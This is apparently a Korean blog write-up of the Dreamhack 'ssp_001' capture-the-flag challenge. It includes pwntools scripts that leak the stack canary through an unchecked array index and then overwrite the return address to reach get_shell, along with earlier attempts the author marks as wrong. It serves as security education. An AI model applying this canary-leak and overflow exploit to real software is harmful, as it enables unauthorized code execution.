코드를 처음 보자말자 떠오르는 건
void get_shell() {
system("/bin/sh");
}
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
...
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
오버플로우가 발생할 수 있는 코드들과
리턴 주소를 어디로 바꿔야할지까진 보였다
문제에 나와있듯이 canary 보호기법을 사용하고 있으므로 처음 입력에서 box 크기를 채워서 카나리 값을 읽고 리턴주소를 get_shell로옮기면 어떨까 생각이 들었다
맞는지 모르겠지만 정리하자면 (틀린 방법들임 밑에 맞는 방법 있음)
P로 box의 카나리값을 읽고
F로 box에 get_shell 함수의 위치를 쓰고
E로 name의 리턴주소를 box로 바꾼다고 생각했다
아니면 name 보다 아래에 box가 있으니 box까지 값을 덮어버려야할 수도 있을거같다
아무튼 둘 중 하나로 답을 찾아보겠다
(지금부턴 맞는 말들)
근데
for i in range(68, 72):
p.sendlineafter(b'> ', b'P')
p.sendlineafter(b'Element index : ', str(i).encode())
line = p.recvline()
byte = int(line.strip().split()[-1], 16)
canary += p8(byte)
근데 이렇게 해봐도 아무런 값도 안나왔다
값이 잘못되었나 싶어서 다른 숫자도 넣어봤는데 안됐다
그래서 HHHHHHHHHH 이런 긴 문자열을 넣어서
box의 주소값을 찾을 뒤 스택이 어떻게 생겼는지 봤다
box가 844 인 128바이트만큼 할당되어있다
근데 128바이트 크기만큼 할당된건지 name이랑 합쳐진 뒤에 오는건지 잘 모르겠어서 name에도 값을 넣어봤다
box에 HHHH .. 를 넣고
name에 FFFFFFFF을 넣었는데 0xffffcc0c 지점에 잘 들어간걸 볼수있다
그럼 이 함수는
| box (64바이트) |
|---|
| name (64바이트) |
| 카나리 (4바이트) |
| sfp (4바이트) |
| 리턴 주소 (4바이트) |
리턴주소가 오는 구조임을 알았으므로
맞춰서 코드를 작성해보겠다
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote('host3.dreamhack.games',19693)
context.arch = "i386"
canary = b""
for i in range(128, 132):
p.sendlineafter(b'> ', b'P')
p.sendlineafter(b'Element index : ', str(i).encode())
line = p.recvline()
byte = int(line.strip().split()[-1], 16)
canary += p8(byte)
print("[+] Leaked Canary:", canary.hex())
이렇게 작성하면
카나리 값이 나온다
그럼 그냥 name에 읽은 카나리값까지 추가해서 리턴 주소를 get_shell로 바꾸면 될거같다
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote('host3.dreamhack.games',15843)
context.arch = "i386"
canary = b""
for i in range(128, 132):
p.sendlineafter(b'> ', b'P')
p.sendlineafter(b'Element index : ', str(i).encode())
line = p.recvline()
byte = int(line.strip().split()[-1], 16)
canary += p8(byte)
slog("canary", u32(canary))
get_shell = 0x565562b2
payload = b'A' * 64
payload += canary
payload = b'A' * 4
payload += p32(get_shell)
p.sendlineafter(b'> ', b'E')
p.sendlineafter(b'Name Size : ', str(len(payload)).encode())
p.sendafter(b'Name : ', payload)
p.interactive()
이렇게 했는데 안된다
조금 더 자세히 분석해봐야겠다.
진짜 맞는 풀이
처음 푸는 거 처럼 다시 천천히 풀어 보겠다.
우선 코드를 쭉 읽어보면
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
.
.
.
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
print_box에서 box의 주소로 값을 읽어 오는 것을 알 수 있다.
주소 = base + offset 이고
offset 은 size * index 이다.
근데 여기서 index 범위를 제한하지 않아서 취약점이 생긴 케이스다.
풀기 위한 순서이다.
- box, name, canary, return address 가 어디에 쌓이는지 확인
- offset의 index 범위 제한을 하지 않은 점을 이용해 box가 아닌 카나리 값을 읽기
- name부터 카나리직전까지 쓰레기 값으로 채운 뒤 읽은 카나리 값을 적기 + 리턴주소 전까지 쓰레기 값으로 채우고 리턴주소를 get_shell 함수로 바꾸기
main함수에서 변수들로 인해 어떻게 공간이 할당된지 알아야 카나리 값도 읽고 리턴 주소를 덮어씌울 수 있으니까
우선 c 언어 메인함수의 변수를 확인해본다.
메인함수에서 얼추 이런 느낌으로 스택에 쌓였을 것이다 (카나리, 리턴주소 등 다 빼고)
| name_len |
|---|
| idx |
| select |
| name |
| box |
동적분석을 해봐야 알겠지만 일단은 위 구조로 예상된다.
disassem main 으로 어셈블리 코드를 확인해보자
일단 스택 구조를 확인해보게 가 호출되는 시점을 기억해두고
main + 316 에 브레이크를 걸고 스택을 확인해줬다.
사실 당연한거였는데 아직 전부 0이라 아무 값도 안나왔다
그래서 대충 메인함수가 끝날때쯤 브레이크를 걸고 box랑 name에 값을 확인해봐야겠다.
난 main +601에 브레이크를 걸었다.
initialize에서 걸리고 뒤에 잘 실행이 된다.
F 선택 후 box에 값을 넣고, E 선택 후 name에도 값을 마저 넣겠다.
box 에 A 16개를 넣고 name에 Z 16개를 넣었다.
A 문자열과 Z 문자열이 잘 들어간게 보인다.
구조를 보니 box가 name보다 상단에 들어가있다.(주소값이 더 작다는 뜻)
각각 64바이트씩 잘 할당되어있고 메인 리턴 주소의 위치와 카나리의 위치, SFP 주소까지 전부 다 잘 나와있다.
더 이쁘게 보기 위해 box 주소값 기준으로 들어간 값을 보면 잘 이해가 된다.
| box (64 byte) |
|---|
| name (64 byte) |
| 카나리 (4 byte) |
| 더미 (4 byte) |
| ebp(SFP) (4 byte) |
| 리턴주소 (4 byte) |
이런 구조임이 밝혀졌으므로 box에서 128부터 131까지 카나리 값을 읽고 (널 바이트 제외)
128 바이트 아무 값 + 읽은 카나리 + 8바이트 아무 값 + get_shell 주소
이렇게 하면 되겠다.
코드
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote('host3.dreamhack.games', 21987)
context.arch = "i386"
e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']
canary = b''
for i in range(128, 132):
p.sendlineafter(b'> ', b'P')
p.sendlineafter(b'Element index : ', str(i).encode())
line = p.recvline()
byte = int(line.strip().split()[-1], 16)
canary += p8(byte)
slog("canary", u32(canary))
payload = b'A' * 64
payload += canary
payload += b'B' * 8
payload += p32(get_shell)
p.sendlineafter(b'> ', b'E')
p.sendlineafter(b'Name Size : ', str(1024))
p.sendafter(b'Name : ', payload)
p.interactive()
이걸 넣고 돌리면
답이 나온다
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Exploit Tech: Format String Bug (0) | 2026.04.15 |
|---|---|
| [Pwnable] Exploit Tech: Out of bounds (0) | 2026.04.15 |
| [Pwnable] basic_rop_x86 (0) | 2026.04.15 |
| [Pwnable] basic_rop_x64 (0) | 2026.04.15 |
| [Pwnable] Exploit Tech: Return Oriented Programming (0) | 2026.04.15 |